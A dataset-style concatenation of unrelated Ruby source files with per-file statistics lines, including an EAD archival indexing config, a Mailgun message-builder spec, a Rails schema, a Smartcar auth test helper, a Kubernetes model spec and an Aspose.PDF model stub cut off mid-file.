accumulator.concat context.output_hash["creator_persname_ssm"] if context.output_hash["creator_persname_ssm"] accumulator.concat context.output_hash["creator_corpname_ssm"] if context.output_hash["creator_corpname_ssm"] accumulator.concat context.output_hash["creator_famname_ssm"] if context.output_hash["creator_famname_ssm"] end to_field "collectors_ssim", extract_xpath("/ead/archdesc/did/origination/*[@role='col']") to_field "places_sim", extract_xpath("/ead/archdesc/controlaccess/geogname") to_field "places_ssim", extract_xpath("/ead/archdesc/controlaccess/geogname") to_field "places_ssm", extract_xpath("/ead/archdesc/controlaccess/geogname") to_field "access_terms_ssm", extract_xpath('/ead/archdesc/userestrict/*[local-name()!="head"]') to_field "acqinfo_ssim", extract_xpath('/ead/archdesc/acqinfo/*[local-name()!="head"]') to_field "acqinfo_ssim", extract_xpath('/ead/archdesc/descgrp/acqinfo/*[local-name()!="head"]') to_field "acqinfo_ssm" do |_record, accumulator, context| accumulator.concat(context.output_hash.fetch("acqinfo_ssim", [])) end to_field "access_subjects_ssim", extract_xpath("/ead/archdesc/controlaccess", to_text: false) do |_record, accumulator| accumulator.map! do |element| %w[subject function occupation genreform].map do |selector| element.xpath(".//#{selector}").map(&:text) end end.flatten! end to_field "access_subjects_ssm" do |_record, accumulator, context| accumulator.concat Array.wrap(context.output_hash["access_subjects_ssim"]) end to_field "has_online_content_ssim", extract_xpath(".//dao", to_text: false) do |_record, accumulator| accumulator.replace([accumulator.any? { |dao| index_dao?(dao) }]) end to_field "digital_objects_ssm", extract_xpath("/ead/archdesc/did/dao|/ead/archdesc/dao", to_text: false) do |_record, accumulator| accumulator.map! do |dao| label = dao.attributes["title"]&.value || dao.xpath("daodesc/p")&.text href = (dao.attributes["href"] || dao.attributes["xlink:href"])&.value role = (dao.attributes["role"] || dao.attributes["xlink:role"])&.value Arclight::DigitalObject.new(label: label, href: href, role: role).to_json end end to_field "extent_ssm", extract_xpath("/ead/archdesc/did/physdesc/extent") to_field "extent_teim", extract_xpath("/ead/archdesc/did/physdesc/extent") to_field "date_range_sim", extract_xpath("/ead/archdesc/did/unitdate/@normal", to_text: false) do |_record, accumulator| range = Pulfalight::YearRange.new next range.years if accumulator.blank? ranges = accumulator.map(&:to_s) range << range.parse_ranges(ranges) accumulator.replace range.years end SEARCHABLE_NOTES_FIELDS.map do |selector| sanitizer = Rails::Html::SafeListSanitizer.new to_field "#{selector}_ssm", extract_xpath("/ead/archdesc/#{selector}/*[local-name()!='head']", to_text: false) do |_record, accumulator| accumulator.map! do |element| sanitizer.sanitize(element.to_html, tags: %w[extref]).gsub("extref", "a").strip end end to_field "#{selector}_heading_ssm", extract_xpath("/ead/archdesc/#{selector}/head") to_field "#{selector}_teim", extract_xpath("/ead/archdesc/#{selector}/*[local-name()!='head']") end DID_SEARCHABLE_NOTES_FIELDS.map do |selector| sanitizer = Rails::Html::SafeListSanitizer.new to_field "#{selector}_ssm", extract_xpath("/ead/archdesc/did/#{selector}", to_text: false) do |_record, accumulator| accumulator.map! do |element| sanitizer.sanitize(element.to_html, tags: %w[extref]).gsub("extref", "a").strip end end end NAME_ELEMENTS.map do |selector| to_field "names_coll_ssim", extract_xpath("/ead/archdesc/controlaccess/#{selector}") to_field "names_ssim", extract_xpath("//#{selector}[@role != 'processor'][@role != 'author']") to_field "names_ssim", extract_xpath("//#{selector}[not(@role)]") to_field "#{selector}_ssm", extract_xpath("//#{selector}") end to_field "corpname_sim", extract_xpath("//corpname") to_field "physloc_sim" do |record, accumulator, _context| values = [] record.xpath("/ead/archdesc/did/physloc").each do |physloc_element| if Pulfalight::LocationCode.registered?(physloc_element.text) location_code = Pulfalight::LocationCode.resolve(physloc_element.text) values << location_code.to_s end end accumulator.concat(values.uniq) end # to_field "physloc_ssm" do |_record, accumulator, context| # values = context.output_hash["physloc_sim"] # accumulator.concat(values) # end to_field "language_sim" do |record, accumulator, _context| elements = record.xpath("/ead/archdesc/did/langmaterial") values = [] elements.each do |element| value = element.text segments = value.split filtered = segments.reject { |e| e =~ /^[[:punct:]]/ } value = filtered.join(" ") values << value end accumulator.concat(values) end to_field "language_ssm" do |_record, accumulator, context| values = context.output_hash["language_sim"] accumulator.concat(values) end to_field "descrules_ssm", extract_xpath("/ead/eadheader/profiledesc/descrules") to_field "prefercite_ssm" do |_record, accumulator, context| titles = context.output_hash["title_ssm"] title = titles.first output = "#{title}; " citation = CitationResolverService.resolve(repository_id: settings["repository"]) if citation output += citation output += ", Princeton University Library" accumulator << output unless output.empty? end end to_field "prefercite_teim" do |_record, accumulator, context| accumulator.concat Array.wrap(context.output_hash["prefercite_ssm"]) end to_field "collection_notes_ssm" do |record, accumulator, _context| child_nodes = record.xpath('/ead/archdesc/*[name() != "controlaccess"][name() != "dsc"]') child_text_nodes = child_nodes.select { |c| c.is_a?(Nokogiri::XML::Text) } accumulator.concat(child_text_nodes) child_elements = child_nodes.select { |c| c.is_a?(Nokogiri::XML::Element) } parse_nested_text = lambda do |node| text_nodes = [] children = if node.name == "did" node.xpath("./abstract").select { |c| c.class == Nokogiri::XML::Element } elsif node.name == "descgrp" && node["id"] == "dacs7" node.xpath("./processinfo") else node.children.select { |c| c.class == Nokogiri::XML::Element } end children.each do |c| text_nodes << [c.text.lstrip, "\n"].join text_nodes.concat(parse_nested_text.call(c)) unless node.name == "descgrp" && node["id"] == "dacs7" end text_nodes end text_node_ancestors = child_elements.flat_map { |c| parse_nested_text.call(c) } text_node_ancestors = text_node_ancestors.map { |t| t.gsub(/\s{2,}/, " ") }.uniq text_node_ancestors = text_node_ancestors.map { |t| t.gsub(/\s{1,}$/, "") }.uniq accumulator.concat(text_node_ancestors) end # For collection description tab. to_field "sponsor_ssm", extract_xpath("/ead/eadheader/filedesc/titlestmt/sponsor") to_field "collection_description_ssm" do |_record, accumulator, context| accumulator.concat(context.output_hash["scopecontent_ssm"] || []) end to_field "collection_bioghist_ssm" do |_record, accumulator, context| accumulator.concat(context.output_hash["bioghist_ssm"] || []) end # For collection history tab sanitizer = Rails::Html::SafeListSanitizer.new ["processing", "conservation"].each do |processinfo_type| selector = if processinfo_type == "processing" "processinfo[@id!='conservation']" else "processinfo[@id='conservation']" end to_field "processinfo_#{processinfo_type}_ssm", extract_xpath("/ead/archdesc/#{selector}/*[local-name()!='head']", to_text: false) do |_record, accumulator| accumulator.map! do |element| sanitizer.sanitize(element.to_html, tags: %w[extref]).gsub("extref", "a").strip end end to_field "processinfo_#{processinfo_type}_heading_ssm", extract_xpath("/ead/archdesc/#{selector}/head") to_field "processinfo_#{processinfo_type}_teim", extract_xpath("/ead/archdesc/#{selector}/*[local-name()!='head']") end # For find-more tab to_field "subject_terms_ssim" do |record, accumulator| values = record.xpath('/ead/archdesc/controlaccess/subject[@source="lcsh"]').map(&:text) occupations = record.xpath("/ead/archdesc/controlaccess/occupation").map(&:text) accumulator << (values + occupations).sort end # For find-more tab # to_field "topics_ssm", extract_xpath('/ead/archdesc/controlaccess/subject[@source="local"]') to_field "topics_ssim" do |record, accumulator| values = record.xpath('/ead/archdesc/controlaccess/subject[@source="local"]').map(&:text) accumulator << values.sort end # For find-more tab to_field "genreform_ssim" do |record, accumulator| values = record.xpath("/ead/archdesc/controlaccess/genreform").map(&:text) accumulator << values.sort end to_field "access_ssi" do |record, accumulator, _context| value = record.xpath("./ead/archdesc/accessrestrict")&.first&.attributes&.fetch("rights-restriction", nil)&.value&.downcase value ||= "open" accumulator << value end to_field "components" do |record, accumulator, context| xpath = if record.is_a?(Nokogiri::XML::Document) "/ead/archdesc/dsc/c[@level != 'otherlevel']" else "./c[@level != 'otherlevel']" end child_components = record.xpath(xpath, Pulfalight::Ead2Indexing::NokogiriXpathExtensions.new) child_components.each do |child_component| component_indexer.settings do provide :parent, context provide :root, context provide :repository, context.settings[:repository] end output = component_indexer.map_record(child_component) accumulator << output end end to_field "access_ssi" do |_record, _accumulator, context| component_access = context.output_hash.fetch("components", []).map do |component| component["access_ssi"].first end combined_access_types = (component_access + context.output_hash["access_ssi"]).uniq # If there's both open and restricted this is "some restricted" context.output_hash["access_ssi"] = ["some-restricted"] if ["open", "restricted"].all? { |e| combined_access_types.include?(e) } end # Configure the settings after the Document is indexed configure_after
41.290043
173
0.742661
28c58879cfe3379c800f99cecbf0f9da672e56a3
18,753
require 'spec_helper' require 'stringio' describe 'MessageBuilder attribute readers' do it 'should be readable' do @mb_obj = Mailgun::MessageBuilder.new() expect(@mb_obj).to respond_to(:message) expect(@mb_obj).to respond_to(:counters) end end describe 'The instantiation of MessageBuilder' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new() end it 'contains counters, which should be of type hash and contain several important counters' do expect(@mb_obj.counters).to be_a(Hash) expect(@mb_obj.counters).to include(:recipients) end it 'contains counters, which should be of type hash and contain several important counters' do expect(@mb_obj.counters).to be_a(Hash) expect(@mb_obj.counters).to include(:recipients) expect(@mb_obj.counters[:recipients]).to include(:to) expect(@mb_obj.counters[:recipients]).to include(:cc) expect(@mb_obj.counters[:recipients]).to include(:bcc) expect(@mb_obj.counters).to include(:attributes) expect(@mb_obj.counters[:attributes]).to include(:attachment) expect(@mb_obj.counters[:attributes]).to include(:campaign_id) expect(@mb_obj.counters[:attributes]).to include(:custom_option) expect(@mb_obj.counters[:attributes]).to include(:tag) end end describe 'The method add_recipient' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new @address = '[email protected]' @variables = {'first' => 'Jane', 'last' => 'Doe'} end it 'adds a "to" recipient type to the message body and counter is incremented' do recipient_type = :to @mb_obj.add_recipient(recipient_type, @address, @variables) expect(@mb_obj.message[recipient_type][0]).to eq("'#{@variables['first']} #{@variables['last']}' <#{@address}>") expect(@mb_obj.counters[:recipients][recipient_type]).to eq(1) end it 'adds a "cc" recipient type to the message body and counter is incremented' do recipient_type = :cc @mb_obj.add_recipient(recipient_type, @address, @variables) expect(@mb_obj.message[recipient_type][0]).to eq("'#{@variables['first']} #{@variables['last']}' <#{@address}>") expect(@mb_obj.counters[:recipients][recipient_type]).to eq(1) end it 'adds a "bcc" recipient type to the message body and counter is incremented' do recipient_type = :bcc @mb_obj.add_recipient(recipient_type, @address, @variables) expect(@mb_obj.message[recipient_type][0]).to eq("'#{@variables['first']} #{@variables['last']}' <#{@address}>") expect(@mb_obj.counters[:recipients][recipient_type]).to eq(1) end it 'adds a "h:reply-to" recipient type to the message body and counters are not incremented' do recipient_type = 'h:reply-to' @mb_obj.add_recipient(recipient_type, @address, @variables) expect(@mb_obj.message[recipient_type]).to eq("'#{@variables['first']} #{@variables['last']}' <#{@address}>") @mb_obj.counters[:recipients].each_value{|value| expect(value).to eq(0)} end it 'ensures a random recipient type is added to the message body and counters are not incremented' do recipient_type = 'im-not-really-real' @mb_obj.add_recipient(recipient_type, @address, @variables) expect(@mb_obj.message[recipient_type][0]).to eq("'#{@variables['first']} #{@variables['last']}' <#{@address}>") @mb_obj.counters[:recipients].each_value{|value| expect(value).to eq(0)} end it 'adds too many to recipients and raises an exception.' do recipient_type = :to expect{ 1001.times do @mb_obj.add_recipient(recipient_type, @address, @variables) end }.to raise_error(Mailgun::ParameterError) end it 'adds too many cc recipients and raises an exception.' do recipient_type = :cc expect{ 1001.times do @mb_obj.add_recipient(recipient_type, @address, @variables) end }.to raise_error(Mailgun::ParameterError) end it 'adds too many bcc recipients and raises an exception.' do recipient_type = :bcc expect{ 1001.times do @mb_obj.add_recipient(recipient_type, @address, @variables) end }.to raise_error(Mailgun::ParameterError) end end describe 'The method set_subject' do it 'warns of set_subject deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_subject 'warn on set_subject' end end describe 'The method subject' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'sets the message subject to blank if called and no parameters are provided' do @mb_obj.subject expect(@mb_obj.message[:subject][0]).to eq('') end it 'sets the message subject if called with the subject parameter' do the_subject = 'This is my subject!' @mb_obj.subject(the_subject) expect(@mb_obj.message[:subject][0]).to eq(the_subject) end it 'ensures no duplicate subjects can exist and last setter is stored' do the_first_subject = 'This is my first subject!' the_second_subject = 'This is my second subject!' @mb_obj.subject(the_first_subject) @mb_obj.subject(the_second_subject) expect(@mb_obj.message[:subject].length).to eq(1) expect(@mb_obj.message[:subject][0]).to eq(the_second_subject) end end describe 'The method set_text_body' do it 'warns of set_text_body deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_text_body 'warn on set_text_body' end end describe 'The method body_text' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'sets the body_text to blank if called and no parameters are provided' do @mb_obj.body_text @mb_obj.message[:text] = '' end it 'sets the message text if called with the body_text parameter' do the_text = 'Don\'t mess with Texas!' @mb_obj.body_text(the_text) @mb_obj.message[:text] = the_text end it 'ensures no duplicate text bodies can exist and last setter is stored' do the_first_text = 'Mess with Texas!' the_second_text = 'Don\'t mess with Texas!' @mb_obj.body_text(the_first_text) @mb_obj.body_text(the_second_text) expect(@mb_obj.message[:text].length).to eq(1) expect(@mb_obj.message[:text][0]).to eq(the_second_text) end end describe 'The method set_from_address' do it 'warns of set_from_address deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_from_address 'warn on set_from_address' end end describe 'The method from' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'sets the from address' do the_from_address = '[email protected]' @mb_obj.from(the_from_address) expect(@mb_obj.message[:from]).to eq([the_from_address]) end it 'sets the from address with first/last metadata' do the_from_address = '[email protected]' the_first_name = 'Magilla' the_last_name = 'Gorilla' @mb_obj.from(the_from_address, {'first' => the_first_name, 'last' => the_last_name}) expect(@mb_obj.message[:from]).to eq(["'#{the_first_name} #{the_last_name}' <#{the_from_address}>"]) end it 'sets the from address with full name metadata' do the_from_address = '[email protected]' full_name = 'Magilla Gorilla' @mb_obj.from(the_from_address, {'full_name' => full_name}) expect(@mb_obj.message[:from]).to eq(["'#{full_name}' <#{the_from_address}>"]) end it 'fails when first/last and full_name are used' do the_from_address = '[email protected]' full_name = 'Magilla Gorilla' first_name = 'Magilla' expect{@mb_obj.from(the_from_address, {'full_name' => full_name, 'first' => first_name})}.to raise_error(Mailgun::ParameterError) end end describe 'The method add_attachment' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'adds a few file paths to the message object' do file1 = File.dirname(__FILE__) + "/sample_data/mailgun_icon.png" file2 = File.dirname(__FILE__) + "/sample_data/rackspace_logo.jpg" file_paths = [file1, file2] file_paths.each {|item| @mb_obj.add_attachment(item)} expect(@mb_obj.message[:attachment].length).to eq(2) end it 'adds file-like objects to the message object' do io = StringIO.new io << File.binread(File.dirname(__FILE__) + "/sample_data/mailgun_icon.png") @mb_obj.add_attachment io, 'mailgun_icon.png' expect(@mb_obj.message[:attachment].length).to eq(1) expect(@mb_obj.message[:attachment].first.original_filename).to eq 'mailgun_icon.png' end end describe 'The method add_inline_image' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'adds a few file paths to the message object' do file1 = File.dirname(__FILE__) + "/sample_data/mailgun_icon.png" file2 = File.dirname(__FILE__) + "/sample_data/rackspace_logo.jpg" file_paths = [file1, file2] file_paths.each {|item| @mb_obj.add_inline_image(item)} expect(@mb_obj.message[:inline].length).to eq(2) end end describe 'The method list_unsubscribe' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'sets the message list_unsubscribe to blank if called and no parameters are provided' do @mb_obj.list_unsubscribe expect(@mb_obj.message['h:List-Unsubscribe']).to eq('') end it 'sets the message list_unsubscribe if called with one list_unsubscribe parameter' do unsubscribe_to = 'http://example.com/stop-hassle' @mb_obj.list_unsubscribe(unsubscribe_to) expect(@mb_obj.message['h:List-Unsubscribe']).to eq("<#{unsubscribe_to}>") end it 'sets the message list_unsubscribe if called with many list_unsubscribe parameters' do unsubscribe_to = %w(http://example.com/stop-hassle mailto:[email protected]) @mb_obj.list_unsubscribe(*unsubscribe_to) expect(@mb_obj.message['h:List-Unsubscribe']).to eq( unsubscribe_to.map { |var| "<#{var}>" }.join(',') ) end end describe 'The method set_test_mode' do it 'warns of set_test_mode deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_test_mode 'warn on set_test_mode' end end describe 'The method test_mode' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'turns on test mode with boolean true' do @mb_obj.test_mode(true) expect(@mb_obj.message["o:testmode"][0]).to eq("yes") end it 'turns on test mode with string true' do @mb_obj.test_mode("true") expect(@mb_obj.message["o:testmode"][0]).to eq("yes") end it 'turns off test mode with boolean false' do @mb_obj.test_mode(false) expect(@mb_obj.message["o:testmode"][0]).to eq("no") end it 'turns off test mode with string false' do @mb_obj.test_mode("false") expect(@mb_obj.message["o:testmode"][0]).to eq("no") end it 'does not allow multiple values' do @mb_obj.test_mode("false") @mb_obj.test_mode("true") @mb_obj.test_mode("false") expect(@mb_obj.message["o:testmode"].length).to eq(1) expect(@mb_obj.message["o:testmode"][0]).to eq("no") end end describe 'The method set_dkim' do it 'warns of set_dkim deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_dkim 'warn on set_dkim' end end describe 'The method dkim' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'turns on dkim with boolean true' do @mb_obj.dkim(true) expect(@mb_obj.message["o:dkim"][0]).to eq("yes") end it 'turns on dkim with string true' do @mb_obj.dkim("true") expect(@mb_obj.message["o:dkim"][0]).to eq("yes") end it 'turns off dkim with boolean false' do @mb_obj.dkim(false) expect(@mb_obj.message["o:dkim"][0]).to eq("no") end it 'turns off dkim with string false' do @mb_obj.dkim("false") expect(@mb_obj.message["o:dkim"][0]).to eq("no") end it 'does not allow multiple values' do @mb_obj.dkim("false") @mb_obj.dkim("true") @mb_obj.dkim("false") expect(@mb_obj.message["o:dkim"].length).to eq(1) expect(@mb_obj.message["o:dkim"][0]).to eq("no") end end describe 'The method add_campaign_id' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'adds a campaign ID to the message' do @mb_obj.add_campaign_id('My-Campaign-Id-1') expect(@mb_obj.message["o:campaign"][0]).to eq ("My-Campaign-Id-1") end it 'adds a few more campaign IDs to the message' do @mb_obj.add_campaign_id('My-Campaign-Id-1') @mb_obj.add_campaign_id('My-Campaign-Id-2') @mb_obj.add_campaign_id('My-Campaign-Id-3') expect(@mb_obj.message["o:campaign"][0]).to eq("My-Campaign-Id-1") expect(@mb_obj.message["o:campaign"][1]).to eq("My-Campaign-Id-2") expect(@mb_obj.message["o:campaign"][2]).to eq("My-Campaign-Id-3") end it 'adds too many campaign IDs to the message' do expect{ 10.times do @mb_obj.add_campaign_id('Test-Campaign-ID') end }.to raise_error(Mailgun::ParameterError) end end describe 'The method add_tag' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'adds a tag to the message' do @mb_obj.add_tag('My-Tag-1') expect(@mb_obj.message["o:tag"][0]).to eq("My-Tag-1") end it 'adds a few more tags to the message' do @mb_obj.add_tag('My-Tag-1') @mb_obj.add_tag('My-Tag-2') @mb_obj.add_tag('My-Tag-3') expect(@mb_obj.message["o:tag"][0]).to eq("My-Tag-1") expect(@mb_obj.message["o:tag"][1]).to eq("My-Tag-2") expect(@mb_obj.message["o:tag"][2]).to eq("My-Tag-3") end it 'adds too many tags to the message' do expect{ 10.times do @mb_obj.add_tag('My-Tag') end }.to raise_error(Mailgun::ParameterError) end end describe 'The method set_open_tracking' do it 'warns of set_open_tracking deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_open_tracking 'warn on set_open_tracking' end end describe 'The method track_opens' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'enables/disables open tracking on a per message basis.' do @mb_obj.track_opens('Yes') expect(@mb_obj.message["o:tracking-opens"][0]).to eq("yes") @mb_obj.track_opens('No') expect(@mb_obj.message["o:tracking-opens"][0]).to eq("no") @mb_obj.track_opens(true) expect(@mb_obj.message["o:tracking-opens"][0]).to eq("yes") @mb_obj.track_opens(false) expect(@mb_obj.message["o:tracking-opens"][0]).to eq("no") end end describe 'The method set_click_tracking' do it 'warns of set_click_tracking deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_click_tracking 'warn on set_click_tracking' end end describe 'The method track_clicks' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'enables/disables click tracking on a per message basis.' do @mb_obj.track_clicks('Yes') expect(@mb_obj.message["o:tracking-clicks"][0]).to eq("yes") @mb_obj.track_clicks('No') expect(@mb_obj.message["o:tracking-clicks"][0]).to eq("no") @mb_obj.track_clicks(true) expect(@mb_obj.message["o:tracking-clicks"][0]).to eq("yes") @mb_obj.track_clicks(false) expect(@mb_obj.message["o:tracking-clicks"][0]).to eq("no") @mb_obj.track_clicks('html') expect(@mb_obj.message["o:tracking-clicks"][0]).to eq("html") end end describe 'The method set_delivery_time' do it 'warns of set_delivery_time deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_delivery_time 'October 25, 2013 10:00PM CST' end end describe 'The method deliver_at' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'defines a time/date to deliver a message in RFC2822 format.' do @mb_obj.deliver_at('October 25, 2013 10:00PM CST') expect(@mb_obj.message["o:deliverytime"][0]).to eq("Fri, 25 Oct 2013 22:00:00 -0600") end end describe 'The method set_custom_data' do it 'warns of set_custom_data deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_custom_data 'my-data', '{"key":"value"}' end end describe 'The method header' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'accepts valid JSON and appends as data to the message.' do @mb_obj.header('my-data', '{"key":"value"}') expect(@mb_obj.message["h:my-data"]).to be_kind_of(String) expect(@mb_obj.message["h:my-data"].to_s).to eq('{"key":"value"}') end end describe 'The method variable' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'accepts valid JSON and stores it as message[param].' do @mb_obj.variable('my-data', '{"key":"value"}') expect(@mb_obj.message["v:my-data"]).to be_kind_of(String) expect(@mb_obj.message["v:my-data"].to_s).to eq('{"key":"value"}') end it 'accepts a hash and appends as data to the message.' do data = {'key' => 'value'} @mb_obj.variable('my-data', data) expect(@mb_obj.message["v:my-data"]).to be_kind_of(String) expect(@mb_obj.message["v:my-data"].to_s).to eq('{"key":"value"}') end it 'throws an exception on broken JSON.' do data = 'This is some crappy JSON.' expect {@mb_obj.variable('my-data', data)}.to raise_error(Mailgun::ParameterError) end end describe 'The method add_custom_parameter' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new end it 'adds an undefined parameter to the message.' do @mb_obj.add_custom_parameter('h:my-sweet-header', 'datagoeshere') expect(@mb_obj.message["h:my-sweet-header"][0]).to eq("datagoeshere") end end describe 'The method set_message_id' do it 'warns of set_message_id deprecation' do @mb_obj = Mailgun::MessageBuilder.new expect(@mb_obj).to receive :warn @mb_obj.set_message_id 'warn on set_message_id' end end describe 'The method message_id' do before(:each) do @mb_obj = Mailgun::MessageBuilder.new @the_message_id = '<[email protected]>' end it 'correctly sets the Message-Id header' do @mb_obj.message_id(@the_message_id) expect(@mb_obj.message['h:Message-Id']).to eq(@the_message_id) end it 'correctly clears the Message-Id header when passed nil' do @mb_obj.message_id(nil) expect(@mb_obj.message.has_key?('h:Message-Id')).to eq(false) end it 'correctly sets the Message-Id header when passed an empty string' do @mb_obj.message_id(@the_message_id) expect(@mb_obj.message.has_key?('h:Message-Id')).to eq(true) @mb_obj.message_id('') expect(@mb_obj.message.has_key?('h:Message-Id')).to eq(false) end end
31.255
133
0.694396
b97e2e42d8bc87571220c4abf5937886b648a98a
1,241
# This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # Note that this schema.rb definition is the authoritative source for your # database schema. If you need to create the application database on another # system, you should be using db:schema:load, not running all the migrations # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 20170207175016) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" create_table "links", force: :cascade do |t| t.string "short_name", null: false t.string "url", null: false t.string "params_url" t.integer "clicks", default: 0, null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false end end
44.321429
86
0.719581
e8ac9cc60a00047299b6022108d8b95e96c3fb63
82
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__) require 'omniscientjs'
27.333333
58
0.743902
e9a6a099df15993a7a48c72d15286ac635dc493f
2,381
# frozen_string_literal: true require_relative '../../../lib/smartcar' require 'selenium-webdriver' require 'securerandom' require 'cgi' class AuthHelper SCOPE = ['required:read_vehicle_info', 'required:read_location', 'required:read_odometer', 'required:control_security', 'required:read_vin', 'required:read_fuel', 'required:read_battery', 'required:read_charge', 'required:read_engine_oil', 'required:read_tires'].freeze class << self def get_code(uri) code_hash = CGI.parse(URI.parse(uri).query) code_hash['code'].first end def auth_client_params { redirect_uri: 'https://example.com/auth', test_mode: true } end def run_auth_flow(authorization_url, test_email = nil, make = nil) email = test_email || "#{SecureRandom.uuid}@email.com" make ||= 'CHEVROLET' options = Selenium::WebDriver::Firefox::Options.new(args: ['-headless']) driver = Selenium::WebDriver.for(:firefox, capabilities: [options]) driver.navigate.to authorization_url driver.find_element(css: 'button#continue-button').click driver.find_element(css: "button.brand-selector-button[data-make=\"#{make}\"]").click driver.find_element(css: 'input[id=username]').send_keys(email) driver.find_element(css: 'input[id=password').send_keys('password') driver.find_element(css: 'button[id=sign-in-button]').click wait = Selenium::WebDriver::Wait.new(timeout: 30) %w[approval-button continue-button].each do |button| wait.until do element = driver.find_element(:css, "button[id=#{button}]") element if element.displayed? end.click rescue Selenium::WebDriver::Error::TimeoutError # Adding this for when continue-button is back again end uri = wait.until do driver.current_url if driver.current_url.match('example.com') end driver.quit get_code(uri) end def run_auth_flow_and_get_tokens(test_email = nil, make = nil, scope = SCOPE) client = Smartcar::AuthClient.new(auth_client_params) authorization_url = client.get_auth_url(scope, { force_prompt: true }) code = run_auth_flow(authorization_url, test_email, make) client.exchange_code(code) end end end
33.535211
91
0.656867
6a3ed6436dc548d40e898fcecd117316f99790d3
1,505
=begin #Kubernetes #No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.13.4 Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 2.2.3 =end require 'spec_helper' require 'json' require 'date' # Unit tests for Kubernetes::V1ServiceAccountTokenProjection # Automatically generated by swagger-codegen (github.com/swagger-api/swagger-codegen) # Please update as you see appropriate describe 'V1ServiceAccountTokenProjection' do before do # run before each test @instance = Kubernetes::V1ServiceAccountTokenProjection.new end after do # run after each test end describe 'test an instance of V1ServiceAccountTokenProjection' do it 'should create an instance of V1ServiceAccountTokenProjection' do expect(@instance).to be_instance_of(Kubernetes::V1ServiceAccountTokenProjection) end end describe 'test attribute "audience"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "expiration_seconds"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "path"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end end
27.363636
103
0.750166
08a33dcc1843908ce53a4df7862e97c47665bc9c
14,256
=begin -------------------------------------------------------------------------------------------------------------------- Copyright (c) 2021 Aspose.PDF Cloud Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------------------------------------------- =end require 'date' require 'time' module AsposePdfCloud # Provides ComboBoxField. class ComboBoxField # Link to the document. attr_accessor :links # Field name. attr_accessor :partial_name # Full Field name. attr_accessor :full_name # Field rectangle. attr_accessor :rect # Field value. attr_accessor :value # Page index. attr_accessor :page_index # Gets or sets height of the field. attr_accessor :height # Gets or sets width of the field. attr_accessor :width # Z index. attr_accessor :z_index # Is group. attr_accessor :is_group # Gets field parent. attr_accessor :parent # Property for Generator support. Used when field is added to header or footer. If true, this field will created once and it's appearance will be visible on all pages of the document. If false, separated field will be created for every document page. attr_accessor :is_shared_field # Gets Flags of the field. attr_accessor :flags # Color of the annotation. attr_accessor :color # Get the field content. attr_accessor :contents # Gets or sets a outer margin for paragraph (for pdf generation) attr_accessor :margin # Field highlighting mode. attr_accessor :highlighting # Gets HorizontalAlignment of the field. attr_accessor :horizontal_alignment # Gets VerticalAlignment of the field. attr_accessor :vertical_alignment # Gets or sets annotation border characteristics. attr_accessor :border # Gets or sets multiselection flag. attr_accessor :multi_select # Gets or sets index of selected item. Numbering of items is started from 